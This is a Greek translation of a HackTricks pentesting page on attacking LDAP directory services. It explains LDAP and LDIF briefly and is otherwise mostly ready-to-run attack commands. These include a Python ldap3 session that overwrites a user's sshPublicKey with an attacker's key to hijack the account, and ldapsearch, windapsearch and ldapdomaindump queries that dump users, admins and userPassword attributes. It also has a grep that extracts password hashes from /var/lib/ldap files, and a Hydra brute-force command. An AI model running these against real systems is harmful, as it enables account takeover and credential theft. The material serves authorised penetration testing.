hacktricks/network-services-pentesting/pentesting-ldap.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

24 KiB
Raw Blame History

389, 636, 3268, 3269 - Ελεγκτική δοκιμή LDAP

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Η χρήση του LDAP (Lightweight Directory Access Protocol) γίνεται κυρίως για τον εντοπισμό διάφορων οντοτήτων, όπως οργανισμών, ατόμων και πόρων όπως αρχεία και συσκευές, εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, το DAP, έχοντας έναν μικρότερο κώδικα.

Οι καταλόγοι LDAP είναι δομημένοι έτσι ώστε να επιτρέπεται η διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια αντιγραφή και συγχρονισμένη έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων βρίσκεται αποκλειστικά στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλα DSAs όπως απαιτείται για να παράσχει μια ενοποιημένη απάντηση στον αιτούντα.

Η οργάνωση του καταλόγου LDAP μοιάζει με μια ιεραρχία δέντρου, ξεκινώντας από τον ριζικό κατάλογο στην κορυφή. Αυτό κλαδεύει σε χώρες, οι οποίες διαιρούνται περαιτέρω σε οργανισμούς και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διαιρέσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, περιλαμβανομένων τόσο ανθρώπων όσο και κοινόχρηστων πόρων, όπως αρχεία και εκτυπωτές.

Προεπιλεγμένη θύρα: 389 και 636 (ldaps). Ο κατάλογος Global Catalog (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για το LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

Μορφή Ανταλλαγής Δεδομένων LDAP

Η LDIF (LDAP Data Interchange Format) καθορίζει το περιεχόμενο του καταλόγου ως ένα σύνολο εγγραφών. Μπορεί επίσης να αναπαραστήσει αιτήματα ενημέρωσης (Προσθήκη, Τροποποίηση, Διαγραφή, Μετονομασία).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Οι γραμμές 1-3 καθορίζουν τον τομέα ανώτατου επιπέδου local
  • Οι γραμμές 5-8 καθορίζουν τον τομέα πρώτου επιπέδου moneycorp (moneycorp.local)
  • Οι γραμμές 10-16 καθορίζουν 2 οργανωτικές μονάδες: dev και sales
  • Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές

Εγγραφή δεδομένων

Σημειώστε ότι αν μπορείτε να τροποποιήσετε τις τιμές, μπορείτε να εκτελέσετε πολύ ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να αλλάξετε τις πληροφορίες "sshPublicKey" του χρήστη σας ή οποιουδήποτε άλλου χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε το ssh διαβάζει τα δημόσια κλειδιά από το LDAP. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα κι αν η ελέγχου κωδικού πρόσβασης δεν είναι ενεργοποιημένος στο ssh.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Καταγραφή διαπιστευτηρίων σε καθαρό κείμενο

Εάν χρησιμοποιείται το πρωτόκολλο LDAP χωρίς SSL, μπορείτε να καταγράψετε τα διαπιστευτήρια σε καθαρό κείμενο στο δίκτυο.

Επίσης, μπορείτε να πραγματοποιήσετε μια επίθεση MITM (Man-in-the-Middle) στο δίκτυο μεταξύ του διακομιστή LDAP και του πελάτη. Εδώ μπορείτε να πραγματοποιήσετε μια επίθεση Downgrade ώστε ο πελάτης να χρησιμοποιήσει τα διαπιστευτήρια σε καθαρό κείμενο για να συνδεθεί.

Εάν χρησιμοποιείται SSL, μπορείτε να προσπαθήσετε να πραγματοποιήσετε μια επίθεση MITM όπως περιγράφηκε παραπάνω, προσφέροντας ένα ψεύτικο πιστοποιητικό. Εάν ο χρήστης το αποδεχθεί, μπορείτε να πραγματοποιήσετε την υποβάθμιση της μεθόδου πιστοποίησης και να δείτε ξανά τα διαπιστευτήρια.

Ανώνυμη πρόσβαση

Παράκαμψη ελέγχου TLS SNI

Σύμφωνα με αυτήν την ανάλυση, απλά με την πρόσβαση στον διακομιστή LDAP με έναν αυθαίρετο τομέα (όπως company.com), ήταν δυνατό να επικοινωνήσει με την υπηρεσία LDAP και να εξάγει πληροφορίες ως ανώνυμος χρήστης:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

Ανώνυμες συνδέσεις LDAP

Οι ανώνυμες συνδέσεις LDAP επιτρέπουν σε μη εξουσιοδοτημένους επιτιθέμενους να ανακτήσουν πληροφορίες από τον τομέα, όπως μια πλήρης λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικά λογαριασμού χρήστη και την πολιτική κωδικού πρόσβασης του τομέα. Αυτή είναι μια παλαιά ρύθμιση και από το Windows Server 2003 και μετά, μόνο εξουσιοδοτημένοι χρήστες επιτρέπεται να πραγματοποιούν αιτήματα LDAP.
Ωστόσο, οι διαχειριστές μπορεί να έχουν χρειαστεί να διαμορφώσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις και να παραχωρήσουν περισσότερη πρόσβαση από ό,τι αρχικά είχαν σκοπό, παρέχοντας έτσι σε μη εξουσιοδοτημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στον AD.

Έγκυρα διαπιστευτήρια

Εάν έχετε έγκυρα διαπιστευτήρια για να συνδεθείτε στον διακομιστή LDAP, μπορείτε να ανακτήσετε όλες τις πληροφορίες σχετικά με τον Domain Admin χρησιμοποιώντας:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Βίαιη Δύναμη

Απαρίθμηση

Αυτοματοποιημένη

Χρησιμοποιώντας αυτό, θα μπορείτε να δείτε τις δημόσιες πληροφορίες (όπως το όνομα του τομέα):

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Δείτε την απαρίθμηση LDAP με τη χρήση της Python

Μπορείτε να δοκιμάσετε να απαριθμήσετε ένα LDAP με ή χωρίς διαπιστευτήρια χρησιμοποιώντας την Python: pip3 install ldap3

Προσπαθήστε πρώτα να συνδεθείτε χωρίς διαπιστευτήρια:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Εάν η απάντηση είναι True όπως στο προηγούμενο παράδειγμα, μπορείτε να αποκτήσετε ορισμένα ενδιαφέροντα δεδομένα του LDAP (όπως το περιβάλλον ονομασίας ή το όνομα του τομέα) διακομιστή από:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Αφού έχετε το περιβάλλον ονομάτων, μπορείτε να κάνετε μερικές πιο συναρπαστικές ερωτήσεις. Αυτή η απλή ερώτηση θα σας δείξει όλα τα αντικείμενα στον κατάλογο:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Ή αντλήστε ολόκληρο το ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch είναι ένα σενάριο Python που χρησιμοποιείται για να απαριθμήσει χρήστες, ομάδες και υπολογιστές από ένα πεδίο Windows χρησιμοποιώντας ερωτήματα LDAP.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Ελέγξτε τα κενά διαπιστευτήρια ή εάν οι διαπιστευτήριά σας είναι έγκυρα:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Εάν βρείτε κάτι που λέει ότι "_πρέπει να ολοκληρωθεί η bind" σημαίνει ότι τα διαπιστευτήρια είναι εσφαλμένα.

Μπορείτε να εξάγετε τα πάντα από έναν τομέα χρησιμοποιώντας:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Εξαγωγή χρηστών:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Εξαγωγή υπολογιστών:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Εξαγωγή των πληροφοριών μου:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Εξαγωγή Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Εξαγωγή Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Εξαγωγή Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Εξαγωγή Διαχειριστές:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Εξαγωγή Ομάδας Απομακρυσμένης Επιφάνειας Εργασίας:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Για να δείτε αν έχετε πρόσβαση σε οποιοδήποτε κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε την εντολή grep μετά την εκτέλεση μίας από τις ερωτήσεις:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

Μπορείτε να κατεβάσετε το pbis από εδώ: https://github.com/BeyondTrust/pbis-open/ και συνήθως εγκαθίσταται στο /opt/pbis.
Το Pbis σας επιτρέπει να λάβετε εύκολα βασικές πληροφορίες:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Γραφική διεπαφή

Apache Directory

Κατεβάστε το Apache Directory από εδώ. Μπορείτε να βρείτε ένα παράδειγμα πώς να χρησιμοποιήσετε αυτό το εργαλείο εδώ.

jxplorer

Μπορείτε να κατεβάσετε μια γραφική διεπαφή με διακομιστή LDAP εδώ: http://www.jxplorer.org/downloads/users.html

Από προεπιλογή εγκαθίσταται στο: /opt/jxplorer

Godap

Μπορείτε να αποκτήσετε πρόσβαση σε αυτό εδώ: https://github.com/Macmod/godap

Πιστοποίηση μέσω kerberos

Χρησιμοποιώντας το ldapsearch μπορείτε να πιστοποιηθείτε εναντίον του kerberos αντί για το NTLM χρησιμοποιώντας την παράμετρο -Y GSSAPI

POST

Εάν έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο /var/lib/ldap). Μπορείτε να εξάγετε τις κατακερματισμένες τιμές χρησιμοποιώντας:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Μπορείτε να τροφοδοτήσετε τον John με το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε το 'structural').

Αρχεία Διαμόρφωσης

  • Γενικά
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

Αυτόματες Εντολές HackTricks

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: